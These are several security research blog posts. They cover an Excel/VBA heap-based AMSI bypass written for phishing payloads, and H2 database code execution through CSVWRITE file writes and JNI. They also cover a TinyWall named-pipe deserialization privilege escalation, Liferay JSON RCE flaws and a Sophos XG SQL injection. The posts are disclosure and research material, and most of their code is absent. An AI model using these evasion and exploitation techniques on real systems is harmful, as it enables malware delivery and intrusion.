Especially the last point is important because we will try to mess up the one and only AMSI context available in the target process. If the failure of AmsiScanBuffer() leads to negative side effects, in worst case the program might crash, the bypass will not work.

So our task is to iterate through the heap of the AMSI client process, look for chunks starting with ‘AMSI’ and mess this block up making all further AMSI operations fail.

Microsoft provides a nice code example which walks through the heap using a couple of functions from kernel32.dll.

Due to the fact that all the required information is present in user space one could do this task by parsing data structures in memory. Doing so would make the use of external functions obsolete but probably blow up our code so we decided to use the functions from the example above.

After cutting the example down to the minimum functionality we need, we end up with a function amsiByPass().


So this code retrieves the heap of the current process, iterates through it and looks at every chunk tagged as 'busy'. Within these busy chunks we check if the first bytes match our magic pattern ‘AMSI’ and if so overwrite it with some garbage.

The expectation is now that our payload is no longer flagged as malicious but the AmsiScanBuffer() function should return with a failure. Let's check that:

Okay, that's exactly what we expected. Are we done? No, not yet as we promised to provide an AMSI bypass for EXCEL/VBA so let's move on..

Bypassing AMSI in Excel using VBA

Now we will dive into the strange world of VBA. We used Microsoft Excel for Office 365 MSO (16.0.11727.20222) 32-bit for our testing.

After having written a basic POC in C we have to port this POC to VBA. VBA supports importing arbitrary external functions from DLLs so using our Heap APIs should be no problem. As far as we understood VBA, it does not allow pointer arithmetic or direct memory access. This problem can be resolved by importing a function which allows copying data from arbitrary memory locations into VBA variables. A very common function to perform this task is RtlMoveMemory().

After some code fiddling we came up with the following code.

As you can see we put some time measurement around the main loop. The number of rounds the loop may take can be several hundred thousand iterations and in addition with the poor VBA performance we expected a significant amount of time the bypass will take. Time is a crucial thing in a real attack scenario. If our phishing victim opens a malicious Excel sheet it is not acceptable that the embedded script blocks the execution for let's say more than one or two seconds. At least after 5 seconds of perceived unresponsiveness of the application a human will get impatient and do things like trying to close Excel, which is not what we want.

So let's see how long the bypass will take. To be honest, we did not expect what was happening. The result was difficult to reproduce but the measured runtime varied from 15 minutes to endless. In some rare cases Excel was closed after some minutes without any further notice. This was probably because it was unresponsive for too long. However, this isn't really something we can use in a real scenario.

Okay so what went wrong here? Is VBA really that slow? Yes, it is some orders of magnitude slower than our C code, but that does not explain what we experienced. Microsoft gives some internal details on how AMSI is implemented in Excel. It turns out that Excel uses another strategy as e.g. PowerShell does. The latter more or less sends the whole script to AmsiScanBuffer(). Excel implements a little smarter approach which is based on so called triggers. Microsoft considers pure VBA code to be harmless until the point when imports come into play. That's exactly what we do - importing functions from external DLLs. Some of these imports are treated as potentially dangerous and their call including all parameters are put into a ring buffer which is sent to AMSI. This gives AV solutions like MS defender the opportunity to check data behind addresses which of course makes sense. Let's see what data is sent to the AMSI API in our explicit case by breaking on AmsiScanBuffer using windbg:

As we can see the ring buffer contains all functions we imported including their parameter values. Our Windows 10 System has MS Defender installed and activated. So every call to AmsiScanBuffer() will bother our friend MS Defender. AMSI is implemented as In-process COM in the first place. But to finally communicate with other AV solutions it has to transport data out of process and perform a context switch. This can be seen on the next architecture overview provided by MS:

Source: https://docs.microsoft.com/en-us/windows/win32/amsi/how-amsi-helps
The little green block on the bottom of the figure shows that our process (Excel) indirectly communicates via rpc with Defender. Hmm... Okay so this is done several 100k times, which is just too much and explains the long runtime. To provide some more evidence we repeat the bypass with Defender switched off, which should significantly speed up our bypass. In addition to that we monitor the amount of calls to AmsiScanBuffer() so we can get an impression how often it is called.

The same loop with Defender disabled took something between one and two minutes:

In a separate run we check the amount of calls to AmsiScanBuffer() using windbg:

AmsiScanBuffer() is called 124624 times (0x10000000 - 0xffe1930) which is roughly the amount of iterations our loop did. That's a lot and underlines our assumptions that AMSI is just called very often. So we understood what is going on, but currently there seems no workaround available to solve our runtime problem.

Giving up now? Not yet...

Improving AMSI Bypass in Excel

As described in the chapter above our current approach is much too slow to be used in a real scenario. So what can we do to improve this situation?

One of the functions we imported is RtlMoveMemory() which is as mentioned earlier used by a lot of malware. Monitoring this function would make a lot of sense and it might be considered as trigger. Let's verify that by just removing the call to CopyMem (the alias for RtlMoveMemory) and see what happens. This prevents our bypass from working but it might give us some insight.

The runtime is now at 0.8 seconds. Wow okay, this really made a change. It shall be noted that in this configuration we even walk through the whole heap. Due to the missing call to RtlMoveMemory() we will not find our pattern.

After we identified our bottleneck, what can we do? We will have to find an alternative method to access raw memory which is not treated as trigger by Excel. Some random Googling revealed the following function: CryptBinaryToStringA() which is part of crypt32.dll. The latter should be present on most Windows systems and thus it should be okay to import it.

The function is intended to convert strings from one format to another but it can also be used to just simply copy bytes from an arbitrary memory position we specify. Cool, that's exactly what we are after! In order to abuse this function for our purpose we call it like that to read the lpData field from the Process Heap Entry structure:
The input parameter from left to right explained:
  • phe.lpData is the source we want to copy data from,
  • ByVal 4 is the length of bytes we want to copy (lpData is 32-bit on our 32-bit Excel)
  • ByVal 2 means we want to copy raw binary (CRYPT_STRING_BINARY)
  • ByVal VarPtr(magicWord) is the target we want to copy that memory to (our VBA variable magicWord)
  • the last parameter (ByVal VarPtr(bytesWritten)) tells us how many bytes were really copied

So let's replace all occurrences of RtlMoveMemory() with CryptBinaryToStringA() and check again how long our bypass takes. You can find an updated version of the source code right here.

Our loop now takes about four seconds to finish, that is still much but it finished and it told us that it found the pattern we are looking after. Let's see how many times Excel calls AmsiScanBuffer() now with this version:


Oh my... Excel did not call AmsiScanBuffer() at all. So this means as long as there is no trigger in our code, nothing is sent to AMSI. Or the other way around: As soon as we use one single trigger function, Excel will send all calls to AMSI. Good to know...

This is the first time we can really verify if the bypass works. So let's look for some code which triggers AMSI from VBA. Iliya Dafchev shows some port of an older AMSI Bypass to VBA which gets flagged by AMSI itself in the first place. Perfect, we will put this code into a function called triggerAMSI() and use it as positive test:

After running it Excel complains as expected with a warning and just closes our current instance of Excel:

AMSI Alert by Excel - sorry for the German!
Putting our bypass and our positive test together we get the following function:


Hopes are high, that the message box containing “we survived” gets displayed because we killed AMSI before triggering it.


Great, our bypass seems to work. So let's put this into our real phishing campaign. Uhm.. just wait, how long did the whole thing take? four seconds? Repeated execution of the bypass even showed runtimes greater than ten seconds. Oh no, this is still too much.

Giving up now? Not yet...

Improving AMSI Bypass in Excel - continued

In the last chapter we improved our AMSI bypass from infinite runtime to ten seconds or below. This seems to be still too much for a real campaign (our opinion). So what can we do to speed up the whole thing one more time?

The loop takes some 100k iterations which is done in C in no time. Defender is completely out of the game. So our current runtime seems to be a pure result of the bad VBA performance. To be fair, these kind of things we are currently trying to do are not a typical VBA task so let's blame us instead of Excel for doing crazy stuff...

Anyway, what can we do now? Programming C in VBA is not an option, but what about invoking some shellcode? As long as we can import arbitrary functions the execution of shellcode should not be a problem. This code snippet shows an example how to do that within VBA. The next step is converting our VBA code (or more our initial C code) into assembly language, that is, into shellcode.

Everyone who ever wrote some pieces of shellcode and wanted to call functions from DLLs knows that the absolute addresses of these functions are not known during the time the shellcode gets assembled. This means we have to implement a mechanism like GetProcAddress() to lookup the addresses of required functions during runtime. How to do this without any library support is well understood and extensively documented so we will not go into details here. Implementing this part of the shellcode is left as an excercise for the reader.

Of course there are many ready to use code snippets which should do the job, but we decided to implement the shellcode on our own. Why? Because it is fun and self written shellcode should be unlikely to get caught by AV solutions.

The main loop of our AMSI bypass in assembly can be found here.

The structure ShellCodeEnvironment holds some important information like the looked up address of our HeapWalk() and GetProcessHeaps() function. The rest of the loop should be straight forward...

So putting everything together we generate our shellcode, put it into our VBA code and start it from there as new thread. Of course we measure the runtime again:


This time it is only 0.02 seconds!

We think this result is more than acceptable. The runtime may vary depending on the processor load or the total heap size but it should be significantly below one second which was our initial goal.

Summary

We hope you enjoyed reading this blog post. We showed the feasibility of a heap-based AMSI bypass for VBA. The same approach, with slight adaptions, also works for PowerShell and .Net 4.8. The latter also comes with AMSI support integrated in its Common Language Runtime. As per Microsoft AMSI is not a security boundary so we do not expect that much reaction but are still curious if MS will develop some detection mechanisms for this idea.

Exploiting H2 Database with native libraries and JNI

1 August 2019 at 12:54

Techniques to gain code execution in an H2 Database Engine are already well known but require H2 being able to compile Java code on the fly. This blog post will show a previously undisclosed way of exploiting H2 without the need of the Java compiler being available, a way that leads us through the native world just to return into the Java world using Java Native Interface (JNI).

Introduction

Last week, the blog post Jackson gadgets - Anatomy of a vulnerability by Andrea Brancaleoni of Doyensec was published. It describes how a setter-based vulnerability in the Jackson library can be exploited if the libraries of Logback and H2 Database Engine are available. In short, it exploits the feature of H2 to create user defined functions with Java code that get compiled on the fly using the Java compiler.

But what if the Java compiler is not available? This was the exact case in a recent engagement where a H2 Dabatase Engine instance version 1.2.141 on a Windows system was exposing its web console. We want to walk you through the journey of finding a new way to execute arbitrary Java code without the need of a Java compiler on the target server by utilizing native libraries (.dll or .so) and the Java Native Interface (JNI).

Assessing the Capabilities of H2

Let's assume the CREATE ALIAS … AS … command cannot be used as the Java compiler is not available. A reason for that may be that it's not a Java Development Kit (JDK) but only a Java Runtime Environment (JRE), which does not come with a compiler. Or the PATH environment variable is not properly set up so that the Java compiler javac cannot be found.

However, the CREATE ALIAS … FOR … command can be used:

When referencing a method, the class must already be compiled and included in the classpath where the database is running. Only static Java methods are supported; both the class and the method must be public.

So every public static method can be used. But in the worst case, only h2-1.2.141.jar and JRE are available. And additionally, only supported data types can be used for nested function calls. So, what is left?

While browsing the candidates in the Java runtime library rt.jar, the System.load(String) method stood out. It allows the loading of a native library. That would instantly allow code execution via the library's entry point function.

But how can the library be loaded to the H2 server? Although Java on Windows supports UNC paths and fetches the file, it refuses to actually load it. And this also won't work on Linux. So how can one write a file to the H2 server?

Writing arbitrary Files with H2

A brief look into the H2 functions reference shows that there is a FILE_WRITE function. Unfortunately, FILE_WRITE was introduced in 1.4.190. So we better only check those functions that are available in 1.2.141. The CSVWRITE function is the only one with "write" in its name.

A quick test showed that the CSV column header also gets printed. Looking at the CSV options showed that there is a writeColumnHeader option to disable writing the column header. Unfortunately, the writeColumnHeader option was only added with 1.3/1.4.177.

But while looking at the other supported options fieldSeparator, fieldDelimiter, escape, null, and lineSeparator, there came an idea: what if we blank them all out and use the CSV column header to write our data? And if the H2 database engine allows columns to have arbitrary names with arbitrary length, we ware be able to write arbitrary data.

Looking at H2's grammar for columns, the columnName of a column can be a quoted name, which is defined as:

" anything "

Quoted names are case sensitive, and can contain spaces. There is no maximum name length. Two double quotes can be used to create a single double quote inside an identifier.

That sounds almost perfect. So let's see if we can actually put anything in it and if CSVWRITE is binary-safe.

First, we generate our test data that covers all 8-bit octets:

$ python -c 'import sys;[sys.stdout.write(chr(i)) for i in range(0,256)]' > test.bin
$ sha1sum test.bin
4916d6bdb7f78e6803698cab32d1586ea457dfc8  test.bin

Now we generate a series of CHAR(n) function calls that will generate our binary data in the SQL query:

xxd -p -c 256 test.bin | sed -e 's/../),CHAR(0x&/g' -e 's/^),//' -e 's/$/)/' -e 's/CHAR(0x22)/&,&/g'

We then use it in the following CSVWRITE call:

SELECT CSVWRITE('C:\Windows\Temp\test.bin', CONCAT('SELECT NULL "', … , '"'), 'ISO-8859-1', '', '', '', '', '');

Finally, we test if the written file has the same checksum:

C:\Windows\Temp> certutil -hashfile test.bin SHA1
SHA1 hash of file test.bin:
49 16 d6 bd b7 f7 8e 68 03 69 8c ab 32 d1 58 6e a4 57 df c8
CertUtil: -hashfile command completed successfully.

So, the files seem to be identical!

Entering the native World

Now that we can write a native library to disk using the built-in function CSVWRITE and load it by creating an alias for System.load(String), we just could use the library's entry point to achieve code execution.

But let's take another it step further. Let's see if there is a way to execute arbitrary commands/code from SQL. Not just once the native library gets loaded, but as we like, possibly even with feedback that we can see in the H2 Console.

This is where the Java Native Interface (JNI) comes in. It allows the interaction between native code and the Java Virtual Machine (JVM). So in this case it would allow us to interact with JVM where the H2 Database is running.

The idea now is to use JNI to inject a custom Java class into the running JVM via ClassLoader.defineClass(byte[], int, int). That would allow us to create an alias and call it from SQL.

Calling into the JVM with JNI

First we need to get a handle to the running JVM. This can be done with the JNI_GetCreatedJavaVMs function. Then we attach the current thread to the VM and obtain a JNI interface pointer (JNIEnv). With that pointer we can interact with the JVM and call JNI functions such as FindClass, GetStaticMethodID/GetMethodID> and CallStatic<Type>Method/Call<Type>Method. The plan is to get the system class loader via ClassLoader.getSystemClassLoader() and call defineClass on it:

This basically mimics the following Java code:

The custom Java class JNIScriptEngine has just one single public static method that evaluates the passed script using an available ScriptEngine instance:

Finally, putting everything together:

That way we can execute arbitrary JavaScript code from SQL.

CVE-2019-19470: Rumble in the Pipe

17 January 2020 at 09:18
This blog post describes an interesting privilege escalation from a local user to SYSTEM for a well-known local firewall solution called TinyWall in versions prior to 2.1.13. Besides a .NET deserialization flaw through Named Pipe communication, an authentication bypass is explained as well.

 Introduction

TinyWall is a local firewall written in .NET. It consists of a single executable that runs once as SYSTEM and once in the user context to configure it. The server listens on a Named Pipe for messages that are transmitted in the form of serialized object streams using the well-known and beloved BinaryFormatter. However, there is an additional authentication check that we found interesting to examine and that we want to elaborate here a little more closely as it may also be used by other products to protect themselves from unauthorized access.

For the sake of simplicity the remaining article will use the terms Server for the receiving SYSTEM process and Client for the sending process within an authenticated user context, respectively. Keep in mind that the authenticated user does not need any special privileges (e.g. SeDebugPrivilege) to exploit this vulnerability described.

Named Pipe Communication

Many (security) products use Named Pipes for inter-process communication (e.g. see Anti Virus products). One of the advantages of Named Pipes is that a Server process has access to additional information on the sender like the origin Process ID, Security Context etc. through Windows' Authentication model. Access to Named Pipes from a programmatic perspective is provided through Windows API calls but can also be achieved e.g. via direct filesystem access. The Named Pipe filessystem (NPFS) is accessible via the Named Pipe's name with a prefix \\.\pipe\.

The screenshot below confirms that a Named Pipe "TinyWallController" exists and could be accessed and written into by any authenticated user.


Talking to SYSTEM

First of all, let's look how the Named Pipe is created and used. When TinyWall starts, a PipeServerWorker method takes care of a proper Named Pipe setup. For this the Windows API provides System.IO.Pipes.NamedPipeServerStream with one of it's constructors taking a parameter of System.IO.Pipes.PipeSecurity. This allows for fine-grained access control via System.IO.PipeAccessRule objects using SecurityIdentifiers and alike. Well, as one can observe from the first screenshot above, the only restriction seems to be that the Client process has to be executed in an authenticated user context which doesn't seem to be a hard restriction after all.



But as it turned out (again take a look at the screenshot above) an AuthAsServer() method is implemented to do some further checking. What we want is to reach the ReadMsg() call, responsible for deserializing the content from the message received.



If the check fails, an InvalidOperationException with "Client authentication failed" is thrown. Following the code brought us to a "authentication check" based on Process IDs, namely checking if the MainModule.FileName of the Server and Client process match. The idea behind this implementation seems to be that the same trusted TinyWall binary should be used to send and receive well-defined messages over the Named Pipe.


Since the test for equality using the MainModule.FileName property could automatically be passed when the original binary is used in a debugging context, let's verify the untrusted deserialization with a debugger first.

Testing the deserialization

Thus, to test if the deserialization with a malicious object would be possible at all, the following approach was taken. Starting (not attaching) the TinyWall binary out of a debugger (dnSpy in this case) would fulfill the requirement mentioned above such that setting a breakpoint right before the Client writes the message into the pipe would allow us to change the serialized object accordingly. The System.IO.PipeStream.writeCore() method in the Windows System.Core.dll is one candidate in the process flow where a breakpoint could be set for this kind of modification. Therefore, starting the TinyWall binary in a debugging session out of dnSpy and setting a breakpoint at this method immediately resulted in the breakpoint being hit.



Now, we created a malicious object with ysoserial.NET and James Forshaw's TypeConfuseDelegate gadget to pop a calc process. In the debugger, we use System.Convert.FromBase64String("...") as expression to replace the current value and also adjust the count accordingly.



Releasing the breakpoint resulted in a calc process running as SYSTEM. Since the deserialization took place before the explicit cast was triggered, it was already to late. If one doesn't like InvalidCastExceptions, the malicious object could also be put into a TinyWall PKSoft.Message object's Arguments member, an exercise left to the reader.

Faking the MainModule.FileName

After we have verified the deserialization flaw by debugging the client, let's see if we can get rid of the debugging requirement. So somehow the following restriction had to be bypassed:



The GetNamedPipeClientProcessId() method from Windows API retrieves the client process identifier for the specified Named Pipe. For a final proof-of-concept Exploit.exe our Client process somehow had to fake its MainModule.FileName property matching the TinyWall binary path. This property is retrieved from System.Diagnostics.ProcessModule's member System.Diagnostics.ModuleInfo.FileName which is set by a native call GetModuleFileNameEx() from psapi.dll. These calls are made in System.Diagnostics.NtProcessManager expressing the transition from .NET into the Windows Native API world. So we had to ask ourselves if it'd be possible to control this property.



As it turned out this property was retrieved from the Process Environment Block (PEB) which is under full control of the process owner. The PEB by design is writeable from userland. Using NtQueryInformationProcess to get a handle on the process' PEB in the first place is therefore possible. The _PEB struct is built of several entries as e.g. PRTL_USER_PROCESS_PARAMETERS ProcessParameters and a double linked list PPEB_LDR_DATA Ldr. Both could be used to overwrite the relevant Unicode Strings in memory. The first structure could be used to fake the ImagePathName and CommandLine entries but more interesting for us was the double linked list containing the FullDllName and BaseDllName. These are exactly the PEB entries which are read by the Windows API call of TinyWall's MainModule.FileName code. There is also a nice Phrack article from 2007 explaining the underlying data structures in great detail.

Fortunately, Ruben Boonen (@FuzzySec) already did some research on these kind of topics and released several PowerShell scripts. One of these scripts is called Masquerade-PEB which operates on the Process Environment Block (PEB) of a running process to fake the attributes mentioned above in memory. With a slight modification of this script (also left to the reader) this enabled us to fake the MainModule.FileName.


Even though the PowerShell implementation could have been ported to C#, we chose the lazy path and imported the System.Management.Automation.dll into our C# Exploit.exe. Creating a PowerShell instance, reading in the modified Masquerade-PEB.ps1 and invoking the code hopefully would result in our faked PEB entries of our Exploit.exe.



Checking the result with a tool like Sysinternals Process Explorer confirmed our assumption such that the full exploit could be implemented now to pop some calc without any debugger.

Popping the calc

Implementing the full exploit now was straight-forward. Using our existing code of James Forshaw's TypeConfuseDelegate code combined with Ruben Boonen's PowerShell script being invoked at the very beginning of our Exploit.exe now was extended by connecting to the Named Pipe TinyWallController. The System.IO.Pipes.NamedPipeClientStream variable pipeClient was finally fed into a BinaryFormatter.Serialize() together with the gadget popping the calc.



Thanks to Ruben Boonen's work and support of my colleague Markus Wulftange the final exploit was implemented quickly.

Responsible disclosure

The vulnerability details were sent to the TinyWall developers on 2019-11-27 and fixed in version 2.1.13 (available since 2019-12-31).


Liferay Portal JSON Web Service RCE Vulnerabilities

20 March 2020 at 12:31

Code White has found multiple critical rated JSON deserialization vulnerabilities affecting the Liferay Portal versions 6.1, 6.2, 7.0, 7.1, and 7.2. They allow unauthenticated remote code execution via the JSON web services API. Fixed Liferay Portal versions are 6.2 GA6, 7.0 GA7, 7.1 GA4, and 7.2 GA2.

The corresponding vulnerabilities are:

CST-7111: RCE via JSON deserialization (LPS-88051/LPE-165981)
The JSONDeserializer of Flexjson allows the instantiation of arbitrary classes and the invocation of arbitrary setter methods.
CST-7205: Unauthenticated Remote code execution via JSONWS (LPS-97029/CVE-2020-7961)
The JSONWebServiceActionParametersMap of Liferay Portal allows the instantiation of arbitrary classes and invocation of arbitrary setter methods.

Both allow the instantiation of an arbitrary class via its parameter-less constructor and the invocation of setter methods similar to the JavaBeans convention. This allows unauthenticated remote code execution via various publicly known gadgets.

Liferay released the patched versions 6.2 GA6 (6.2.5), 7.0 GA7 (7.0.6) and 7.1 GA4 (7.1.3) to address the issues; the version 7.2 GA2 (7.2.1) was already released in November 2019. For 6.1, there is only a fixpack available.

Introduction

Liferay Portal is one of the, if not even the most popular portal implementation as per Java Portlet Specification JSR-168. It provides a comprehensive JSON web service API at '/api/jsonws' with examples for three different ways of invoking the web service method:

  1. Via the generic URL /api/jsonws/invoke where the service method and its arguments get transmitted via POST, either as a JSON object or via form-based parameters (the JavaScript Example)
  2. Via the service method specific URL like /api/jsonws/service-class-name/service-method-name where the arguments are passed via form-based POST parameters (the curl Example)
  3. Via the service method specific URL like /api/jsonws/service-class-name/service-method-name where the arguments are also passed in the URL like /api/jsonws/service-class-name/service-method-name/arg1/val1/arg2/val2/… (the URL Example)

Authentication and authorization checks are implemented within the invoked service methods themselves while the processing of the request and thus the JSON deserialization happens before. However, the JSON web service API can also be configured to deny unauthenticated access.

First, we will take a quick look at LPS-88051, a vulnerability/insecure feature in the JSON deserializer itself. Then we will walk through LPS-97029 that also utilizes a feature of the JSON deserializer but is a vulnerability in Liferay Portal itself.

CST-7111: Flexjson's JSONDeserializer

In Liferay Portal 6.1 and 6.2, the Flexjson library is used for serializing and deserializing data. It supports object binding that will use setter methods of the objects instanciated for any class with a parameter-less constructor. The specification of the class is made with the class object key:

This vulnerability was reported in December 2018 and has been fixed in the Enterprise Edition with 6.1 EE GA3 fixpack 71 and 6.2 EE GA2 fixpack 1692 and also the 6.2 GA6.

CST-7205: Jodd's JsonParser + Liferay Portal's JSONWebServiceActionParametersMap

In Liferay Portal 7, the Flexjson library is replaced by the Jodd Json library that does not support specifying the class to deserialize within the JSON data itself. Instead, only the type of the root object can be specified and it has to be explicitly provided by a java.lang.Class object instance. When looking for the call hierarchy of write access to the rootType field, the following unveils:

While most of the calls have hard-coded types specified, there is one that is variable (see selected call on the right above). Tracing that parameterType variable through the call hierarchy backwards shows that it originates from a ClassLoader.loadClass(String) call with a parameter value originating from an JSONWebServiceActionParameters instance. That object holds the parameters passed in the web service call. The JSONWebServiceActionParameters object has an instance of a JSONWebServiceActionParametersMap that has a _parameterTypes field for mapping parameters to types. That map is used to look up the class for deserialization during preparation of the parameters for invoking the web service method in JSONWebServiceActionImpl._prepareParameters(Class<?>).

The _parameterTypes map gets filled by the JSONWebServiceActionParametersMap.put(String, Object) method:

Here the lines 102 to 110 are interesting: the typeName is taken from the key string passed in. So if a request parameter name contains a ':', the part after it specifies the parameter's type, i. e.:

This syntax is also mentioned in some of the examples in the Invoking JSON Web Services tutorial.

Later in JSONWebServiceActionImpl._prepareParameters(Class<?>), the ReflectUtil.isTypeOf(Class, Class) is used to check whether the specified type extends the type of the corresponding parameter of the method to be invoked. Since there are service methods with java.lang.Object parameters, any type can be specified.

This vulnerability was reported in June 2019 and has been fixed this in 6.2 GA6, 7.0 GA7, 7.1 GA4, and 7.2 GA2 by using a whitelist of allowed classes.

Demo


  • [1] There are two editions of the Liferay Portal: the Community Edition (CE) and the Enterprise Edition (EE). The CE is free and its source code is available at GitHub. Both editions have their own project and issue tracker at issues.liferay.com: CE has LPS-* and EE has LPE-*. LPS-88051 was created confidentially by Code White for CE and LPE-16598 was created publicly three days later for EE.
  • [2] Fixpacks are only available for the Enterprise Edition (EE) and not for the Community Edition (CE).

Sophos XG - A Tale of the Unfortunate Re-engineering of an N-Day and the Lucky Find of a 0-Day

On April 25, 2020, Sophos published a knowledge base article (KBA) 135412 which warned about a pre-authenticated SQL injection (SQLi) vulnerability, affecting the XG Firewall product line. According to Sophos this issue had been actively exploited at least since April 22, 2020. Shortly after the knowledge base article, a detailed analysis of the so called Asnarök operation was published. Whilst the KBA focused solely on the SQLi, this write up clearly indicated that the attackers had somehow extended this initial vector to achieve remote code execution (RCE).

The criticality of the vulnerability prompted us to immediately warn our clients of the issue. As usual we provided lists of exposed and affected systems. Of course we also started an investigation into the technical details of the vulnerability. Due to the nature of the affected devices and the prospect of RCE, this vulnerability sounded like a perfect candidate for a perimeter breach in upcoming red team assessments. However, as we will explain later, this vulnerability will most likely not be as useful for this task as we first assumed.

Our analysis not only resulted in a working RCE exploit for the disclosed vulnerability (CVE-2020-12271) but also led to the discovery of another SQLi, which could have been used to gain code execution (CVE-2020-15504). The criticality of this new vulnerability is similar to the one used in the Asnarök campaign: exploitable pre-authentication either via an exposed user or admin portal. Sophos quickly reacted to our bug report, issued hotfixes for the supported firmware versions and released new firmware versions for v17.5 and v18.0 (see also the Sophos Community Advisory).


I am Groot

The lab environment setup will not be covered in full detail since it is pretty straight forward to deploy a virtual XG firewall. Appropriate firmware ISOs can be obtained from the official download portal. What is notable is the fact that the firmware allows administrators direct root shell access via the serial interface, the TelnetConsole.jsp in the web interface or the SSH server. Thus there was no need to escape from any restricted shells or to evade other protection measures in order to start the analysis.

Device Management -> Advanced Shell -> /bin/sh as root.

After getting familiar with the filesystem layout, exposed ports and running processes we suddenly noticed a message in the XG control center informing us that a hotfix for the n-day vulnerability, we were investigating, had automatically been applied.

Control Center after the automatic installation of the hotfix (source).

We leveraged this behavior to create a file-system snapshot before and after the hotfix. Unfortunately diffing the web root folders in both snapshots (aiming for a quick win) resulted in only one changed file with no direct indication of a fixed SQL operation.

Architecture

In order to understand the hotfix, it was necessary to delve deep into the underlying software architecture. As the published information indicated that the issue could be triggered via the web interface we were especially interested in how incoming HTTP requests were processed by the appliance.

Both web interfaces (user and admin) are based on the same Java code served by a Jetty server behind an Apache server.

Jetty server on port 8009 serving /usr/share/webconsole.

Most interface interactions (like a login attempt) resulted in a HTTP POST request to the endpoint /webconsole/Controller. Such a request contained at least two parameters: mode and json. The former specified a number which was mapped internally to a function that should be invoked. The latter specified the arguments for this function call.

Login request sent to /webconsole/Controller via XHR.

The corresponding Servlet checked if the requested function required authentication, performed some basic parameter validation (code was dependent on the called function) and transmitted a message to another component - CSC.

This message followed a custom format and was sent via either UDP or TCP to port 299 on the local machine (the firewall). The message contained a JSON object which was similar but not identical to the json parameter provided in the initial HTTP request.

JSON object sent to CSC on port 299.

The CSC component (/usr/bin/csc) appeared to be written in C and consisted of multiple sub modules (similar to a busybox binary). To our understanding this binary is a service manager for the firewall as it contained, started and controlled several other jobs. We encountered a similar architecture during our Fortinet research.

Multiple different processes spawned by the CSC binary.

CSC parsed the incoming JSON object and called the requested function with the provided parameters. These functions however, were implemented in Perl and were invoked via the Perl C language interface. In order to do so, the binary loaded and decrypted an XOR encrypted file (cscconf.bin) which contained various config files and Perl packages.

Another essential part of the architecture were the different PostgreSQL database instances which were used by the web interface, the CSC and the Perl logic, simultaneously.

The three PostgreSQL databases utilized by the appliance.
High level overview of the architecture.

Locating the Perl logic

As mentioned earlier, the Java component forwarded a modified version of the JSON parameter (found in the HTTP request) to the CSC binary. Therefore we started by having a closer look at this file. A disassembler helped us to detect the different sub modules which were distributed across several internal functions, but did not reveal any logic related to the login request. We did however find plenty of imports related to the Perl C language interface. This led us to the assumption that the relevant logic was stored in external Perl files, even though an intensive search on the filesystem had not returned anything useful. It turned out, that the missing Perl code and various configuration files were stored in the encrypted tar.gz file (/_conf/cscconf.bin) which was decrypted and extracted during the initialization of CSC. The reason why we previously could not locate the decrypted files was that these could only be found in a separate linux namespace.

As can be seen in the screenshot below the binary created a mount point and called the unshare syscall with the flag parameter set to 0x20000. This constant translates to the CLONE_NEWNS flag, which disassociates the process from the initial mount namespace.

For those unfamiliar with Linux namespaces: in general each process is associated with a namespace and can only see, and thus use, the resources associated with that namespace. By detaching itself from the initial namespace the binary ensures that all files created after the unshare syscall are not propagated to other processes. Namespaces are a feature of the Linux kernel and container solutions like docker heavily rely on them.

Calling unshare, to detach from the initial namespace, before extracting the config.

Therefore even within a root shell we were not able to access the extracted archive. Whilst multiple approaches exist to overcome this, the most appealing at that point was to simply patch the binary. This way, it was possible to copy the extracted config to a world-writable path. In hindsight, it would probably have been easier to just scp nsenter to the appliance.

Accessing the decrypted and extracted files by jumping into the namespace of the CSC binary.

From a handful of information to the N-Day (CVE-2020-12271)

The rolled out hotfix boiled down to the modification of one existing function (_send) and the introduction of two new functions (getPreAuthOperationList and addEventAndEntityInPayload) in the file /usr/share/webconsole/WEB-INF/classes/cyberoam/corporate/CSCClient.class.

The function getPreAuthOperationList defined all modes which can be called unauthenticated. The function addEventAndEntityInPayload checks if the mode specified in the request is contained in the preAuthOperationsList and removes the Entity and Event keys from the JSON object if that is the case.

Analysis

Based on the hotfix we assumed that the vulnerability must reside within one of the functions specified in the getPreAuthOperationList. However, after browsing through the relevant Perl code in order to find blocks that made use of the Entity or Event key, we were pretty confident that this was not the case.

What we did notice though is that regardless of which mode we specify, every request was processed by the apiInterface function. Sophos denoted the functions mapped to the mode parameter internally as opcodes.

The apiInterface function was also the place where we finally found the SQLi vulnerability aka execution of arbitrary SQL statements. As is depicted in the source excerpt below, this opcode called the executeDeleteQuery function (line 27) which took a SQL statement from the query parameter and ran it against the database.

Unfortunately, in order to reach the vulnerable code, our payload needed to pass every preceding CALL statement which enforced various conditions and properties on our JSON object.

The first call (validateRequestType) required that Entity was not set to securitypolicy and that the request type was ORM after the call.

The preceding call (variableInitialization) initialized the Perl environment and should always succeed. In order to keep our request simple and not to introduce additional requirements, the Entity value in our payload should not be one of the following: securityprofile, mtadataprotectionpolicy, dataprotectionpolicy, firewallgroup, securitypolicy, formtemplate or authprofile. This allowed us to skip the checks performed in the function opcodePreProcess.

The checkUserPermission function does what its name suggests. Whereas, the function body that can be seen below is only executed if the JSON object passed to Perl included a __username parameter. This parameter was added by the Java component before the request was forwarded to the CSC binary, if the HTTP request was associated with a valid user session. Since we used an unauthenticated mode in our payload, the __username parameter was not set and we could ignore the respective code.

To skip over the preMigration call we just had to choose a mode which was unequal to 35 (cancel_firmware_upload), 36 (multicast_sroutes_disable) or 1101 (unknown). On top of that all three modes required authentication making them unusable for our purposes, anyway.

Depending on the request type, the function createModeJSON employed a different logic to load the Perl module connected to the specified entity. Whereas each POST request initially started as ORM request, we needed to be careful that the request type was not changed to something else. This was required to satisfy the last if statement before the vulnerable function was called inside the apiInterface function. Therefore the condition on line 15 had to be not satisfied. The respective code checked if the request type specified in the loaded Perl module equaled ORM. We leave the identification of such an Entity as an exercise to the interested reader.

We skipped the call to the migrateToCurrVersion function since it was not important for our chain. The next call to createJson verified if the previously loaded Perl package could actually be initialized and would always work as long as it referred to an existing Entity.

The function handleDeleteRequest once again verified that the request type was ORM. After removing duplicate keys from our JSON, it ensured that our JSON payload contained a name key. The code then looped through all values which were specified in our name property and searched for foreign references in other database tables in order to delete these. Since we did not want to delete any existing data we simply set the name to a non-existing value.

We skipped the last two function calls to replyIfErrorAtValidation and getOldObject because they were not relevant to our chain and we had already walked through enough Perl code.

What did we learn so far?

  • We need a mode which can be called from an unauthenticated perspective.
  • We should not use certain Entities.
  • Our request needed to be of type $REQUEST_TYPE{ORMREQUEST}.
  • The request had to contain a name property which held some garbage value.
  • The EventProperties of the loaded Entity, and in particular the DELETE property, had to set the ORM value to true.
